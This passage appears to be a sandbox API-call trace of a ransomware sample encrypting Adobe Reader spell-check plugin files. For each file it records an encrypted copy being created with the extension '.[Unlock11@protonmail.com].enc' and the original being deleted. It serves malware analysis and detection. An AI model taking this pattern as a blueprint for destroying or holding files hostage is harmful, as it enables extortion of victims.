(normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries")) returned 0x10 [0198.224] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc790 | out: hHeap=0x2ad0000) returned 1 [0198.224] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dummy.aff" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dummy.aff")) returned 0x20 [0198.224] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bbe90 | out: hHeap=0x2ad0000) returned 1 [0198.224] GetCurrentThreadId () returned 0x9b0 [0198.225] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dummy.dic" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dummy.dic")) returned 0x20 [0198.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc590 | out: hHeap=0x2ad0000) returned 1 [0198.225] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Info.plist" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\info.plist")) returned 0x20 [0198.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bbf10 | out: hHeap=0x2ad0000) returned 1 [0198.225] GetCurrentThreadId () returned 0x9b0 [0198.226] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881108, Size=0x20) returned 0x33eae68 [0198.226] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\plugin.X.manifest" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\plugin.x.manifest")) returned 0x20 [0198.226] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e8960 | out: hHeap=0x2ad0000) returned 1 [0198.226] GetCurrentThreadId () returned 0x9b0 [0198.226] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries")) returned 0x10 [0198.227] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e8c90 | out: hHeap=0x2ad0000) returned 1 [0198.227] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\AdobeHunspellPlugin.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\AdobeHunspellPlugin.dll", lpFilePart=0x9bada4*="AdobeHunspellPlugin.dll") returned 0x7e [0198.228] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\comdll.X.manifest", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\comdll.X.manifest", lpFilePart=0x9bada4*="comdll.X.manifest") returned 0x78 [0198.228] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0198.228] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\comdll.X.manifest" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\comdll.x.manifest"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33ec69cf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x188)) returned 1 [0198.228] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679bec | out: pbBuffer=0x3679bec) returned 1 [0198.228] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0198.229] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\comdll.X.manifest" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\comdll.x.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.229] GetFileType (hFile=0x334) returned 0x1 [0198.229] GetFileType (hFile=0x334) returned 0x1 [0198.229] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.229] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.229] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.230] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.230] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.230] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.230] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.230] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\comdll.X.manifest.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\comdll.x.manifest.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.230] GetFileType (hFile=0x39c) returned 0x1 [0198.231] GetFileType (hFile=0x39c) returned 0x1 [0198.231] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.231] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.231] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.231] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.231] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.231] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.231] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.255] CloseHandle (hObject=0x39c) returned 1 [0198.255] CloseHandle (hObject=0x334) returned 1 [0198.256] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\comdll.X.manifest" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\comdll.x.manifest")) returned 1 [0198.257] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dummy.aff", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dummy.aff", lpFilePart=0x9bada4*="Dummy.aff") returned 0x70 [0198.257] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dummy.dic", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dummy.dic", lpFilePart=0x9bada4*="Dummy.dic") returned 0x70 [0198.257] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0198.258] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Info.plist", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Info.plist", lpFilePart=0x9bada4*="Info.plist") returned 0x71 [0198.258] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0198.258] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\plugin.X.manifest", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\plugin.X.manifest", lpFilePart=0x9bada4*="plugin.X.manifest") returned 0x78 [0198.258] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\plugin.X.manifest" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\plugin.x.manifest"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x21c)) returned 1 [0198.258] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36796ec | out: pbBuffer=0x36796ec) returned 1 [0198.258] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0198.259] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3648 [0198.259] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0198.259] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\plugin.X.manifest" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\plugin.x.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.259] GetFileType (hFile=0x334) returned 0x1 [0198.259] GetFileType (hFile=0x334) returned 0x1 [0198.260] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.260] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.260] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.260] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.260] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.260] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.260] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.260] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\plugin.X.manifest.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\plugin.x.manifest.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.261] GetFileType (hFile=0x39c) returned 0x1 [0198.261] GetFileType (hFile=0x39c) returned 0x1 [0198.261] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.261] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.261] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.261] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.261] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.261] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.262] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.263] CloseHandle (hObject=0x39c) returned 1 [0198.264] CloseHandle (hObject=0x334) returned 1 [0198.264] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\plugin.X.manifest" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\plugin.x.manifest")) returned 1 [0198.265] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\*.*", lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f77d0 [0198.265] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0198.265] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="en_CA", cAlternateFileName="")) returned 1 [0198.265] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="en_GB", cAlternateFileName="")) returned 1 [0198.266] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="en_US", cAlternateFileName="")) returned 1 [0198.266] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="en_US", cAlternateFileName="")) returned 0 [0198.266] FindClose (in: hFindFile=0x10f77d0 | out: hFindFile=0x10f77d0) returned 1 [0198.266] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_CA" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\abbreviations\\en_ca")) returned 0x10 [0198.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e8af8 | out: hHeap=0x2ad0000) returned 1 [0198.267] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0198.267] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_GB" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\abbreviations\\en_gb")) returned 0x10 [0198.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e8630 | out: hHeap=0x2ad0000) returned 1 [0198.267] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_US" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\abbreviations\\en_us")) returned 0x10 [0198.268] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e9048 | out: hHeap=0x2ad0000) returned 1 [0198.268] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_CA\\*.*", lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f77d0 [0198.268] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0198.268] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="List.txt", cAlternateFileName="")) returned 1 [0198.268] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="List.txt", cAlternateFileName="")) returned 0 [0198.269] FindClose (in: hFindFile=0x10f77d0 | out: hFindFile=0x10f77d0) returned 1 [0198.269] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_CA\\List.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\abbreviations\\en_ca\\list.txt")) returned 0x20 [0198.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f3e0 | out: hHeap=0x2ad0000) returned 1 [0198.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0198.269] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_CA\\List.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_CA\\List.txt", lpFilePart=0x9bada4*="List.txt") returned 0x83 [0198.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0198.270] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_CA\\List.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\abbreviations\\en_ca\\list.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xe3)) returned 1 [0198.270] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679dcc | out: pbBuffer=0x3679dcc) returned 1 [0198.270] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_CA\\List.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\abbreviations\\en_ca\\list.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.270] GetFileType (hFile=0x334) returned 0x1 [0198.271] GetFileType (hFile=0x334) returned 0x1 [0198.271] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.271] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.271] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.271] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.271] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.271] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.271] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.272] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_CA\\List.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common 